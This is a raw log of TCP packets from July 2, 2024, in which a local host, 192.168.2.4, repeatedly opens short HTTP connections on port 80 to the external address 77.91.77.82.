Jul 2, 2024 15:27:34.776702881 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:34.776957035 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:34.777072906 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:34.777123928 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:34.781689882 CEST	80	49812	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:35.466861963 CEST	80	49812	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:35.467068911 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:35.470573902 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:35.470957994 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:35.475779057 CEST	80	49812	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:35.475814104 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:35.475846052 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:35.475903034 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:35.476113081 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:35.480817080 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:36.180181980 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:36.180376053 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:36.284562111 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:36.284899950 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:36.289978981 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:36.290081978 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:36.290121078 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:36.290170908 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:36.290395975 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:36.295384884 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:37.216044903 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:37.216104031 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:37.218733072 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:37.219120979 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:37.223990917 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:37.224133015 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:37.224282980 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:37.224411011 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:37.224464893 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:37.229054928 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:37.932123899 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:37.932243109 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:38.051537991 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:38.052195072 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:38.056849003 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:38.056905031 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:38.057044983 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:38.057110071 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:38.057430983 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:38.062146902 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:38.771625042 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:38.771733046 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:38.775299072 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:38.780654907 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:38.996997118 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:38.997566938 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.113260031 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.113579988 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.118531942 CEST	80	49817	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:39.118730068 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.118881941 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.123784065 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:39.123848915 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.124006987 CEST	80	49817	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:39.125593901 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.128293037 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.133548021 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:39.133721113 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.133872032 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.138830900 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:39.830833912 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:39.830905914 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.941337109 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.941677094 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.948008060 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:39.948259115 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.948461056 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.950594902 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:39.950776100 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:39.953222990 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:40.664032936 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:40.667675018 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:40.670384884 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:40.670763016 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:40.675777912 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:40.675805092 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:40.675874949 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:40.675911903 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:40.676253080 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:40.682015896 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:41.441490889 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:41.441564083 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:41.550286055 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:41.550653934 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:41.555392981 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:41.555461884 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:41.555516005 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:41.555565119 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:41.555740118 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:41.560426950 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:42.242911100 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:42.242978096 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:42.245703936 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:42.246085882 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:42.250912905 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:42.250969887 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:42.251041889 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:42.251255035 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:42.251446009 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:42.256120920 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:42.986994982 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:42.987068892 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:43.104090929 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:43.104382038 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:43.109138012 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:43.109333038 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:43.109420061 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:43.109436035 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:43.109683990 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:43.114368916 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:43.860465050 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:43.863759041 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:43.866436958 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:43.866863966 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:43.871711969 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:43.871762991 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:43.871790886 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:43.871859074 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:43.872018099 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:43.876729012 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:44.563409090 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:44.565768003 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:44.675271988 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:44.675611973 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:44.680382967 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:44.680408955 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:44.680496931 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:44.680510044 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:44.680665970 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:44.685441971 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:45.406230927 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:45.406297922 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:45.409646034 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:45.409996033 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:45.415168047 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:45.415222883 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:45.415251970 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:45.415496111 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:45.415636063 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:45.420551062 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:46.123650074 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:46.123914003 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:46.241915941 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:46.242306948 CEST	49827	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:46.377993107 CEST	80	49827	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:46.379904032 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:46.380006075 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:46.380294085 CEST	49827	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:46.380295038 CEST	49827	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:46.385108948 CEST	80	49827	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:47.100213051 CEST	80	49827	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:47.103876114 CEST	49827	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:47.106646061 CEST	49827	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:47.107007027 CEST	49828	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:47.111789942 CEST	80	49827	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:47.111865044 CEST	80	49828	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:47.111926079 CEST	49827	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:47.111953974 CEST	49828	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:47.112098932 CEST	49828	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:47.116882086 CEST	80	49828	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:47.827069998 CEST	80	49828	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:47.827136993 CEST	49828	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:47.941019058 CEST	49828	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:47.941611052 CEST	49829	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:47.946295023 CEST	80	49828	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:47.946357012 CEST	80	49829	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:47.946405888 CEST	49828	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:47.946458101 CEST	49829	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:47.946806908 CEST	49829	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:47.951548100 CEST	80	49829	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:48.658648014 CEST	80	49829	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:48.658735991 CEST	49829	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:48.662162066 CEST	49829	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:48.662540913 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:48.667434931 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:48.667501926 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:48.667547941 CEST	80	49829	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:48.667732000 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:48.667756081 CEST	49829	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:48.672456026 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:49.366573095 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:49.366657019 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:49.473243952 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:49.473753929 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:49.478441954 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:49.478522062 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:49.478523016 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:49.478586912 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:49.478790998 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:49.483514071 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:50.165919065 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:50.166177034 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:50.168838024 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:50.169209957 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:50.173938990 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:50.173991919 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:50.173991919 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:50.174061060 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:50.174340963 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:50.179080009 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:50.877676964 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:50.877743959 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:50.991033077 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:50.991362095 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:50.996221066 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:50.996309996 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:50.996562958 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:50.996732950 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:50.996784925 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:51.001545906 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:51.710361004 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:51.710597038 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:51.720343113 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:51.720719099 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:51.725517988 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:51.725586891 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:51.725637913 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:51.725697041 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:51.725869894 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:51.730647087 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:52.480859041 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:52.480997086 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:52.598026037 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:52.598380089 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:52.603182077 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:52.603332043 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:52.603465080 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:52.603507996 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:52.603709936 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:52.608494997 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:53.306936979 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:53.309686899 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:53.312433958 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:53.312786102 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:53.317673922 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:53.318459988 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:53.318533897 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:53.318559885 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:53.318799019 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:53.323636055 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:54.036562920 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:54.036672115 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:54.147500038 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:54.147794008 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:54.152606010 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:54.152779102 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:54.152868986 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:54.152987003 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:54.153019905 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:54.157761097 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:54.849701881 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:54.849759102 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:54.852736950 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:54.853058100 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:54.857775927 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:54.857825994 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:54.857836008 CEST	80	49838	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:54.857894897 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:54.858175039 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:54.862967014 CEST	80	49838	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:55.587086916 CEST	80	49838	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:55.587160110 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:55.691035032 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:55.691452026 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:55.696217060 CEST	80	49838	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:55.696237087 CEST	80	49839	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:55.696284056 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:55.696322918 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:55.696563959 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:55.701423883 CEST	80	49839	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:56.391885042 CEST	80	49839	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:56.391978979 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:56.395201921 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:56.395536900 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:56.400332928 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:56.400454044 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:56.400624037 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:56.405411005 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:56.406938076 CEST	80	49839	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:56.407000065 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.125864983 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:57.125991106 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.240164042 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.240547895 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.245891094 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:57.245956898 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.246525049 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:57.247216940 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.249188900 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.256576061 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:57.939472914 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:57.939533949 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.942749977 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.943094969 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.947860956 CEST	80	49842	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:57.947935104 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.948044062 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.948056936 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:57.948100090 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:57.953047037 CEST	80	49842	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:58.678868055 CEST	80	49842	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:58.678935051 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:58.784933090 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:58.785248995 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:58.794037104 CEST	80	49843	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:58.794064045 CEST	80	49842	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:58.794137001 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:58.794152975 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:58.794533968 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:58.807373047 CEST	80	49843	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:59.498863935 CEST	80	49843	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:59.499068975 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:59.502249956 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:59.502548933 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:59.507369041 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:59.507498980 CEST	80	49843	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:59.507561922 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:59.507571936 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:59.507762909 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:59.512521982 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:00.299101114 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:00.299192905 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:00.410279036 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:00.410820961 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:00.415663958 CEST	80	49845	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:00.415714979 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:00.415774107 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:00.415785074 CEST	49845	80	192.168.2.4	77.91.77.82
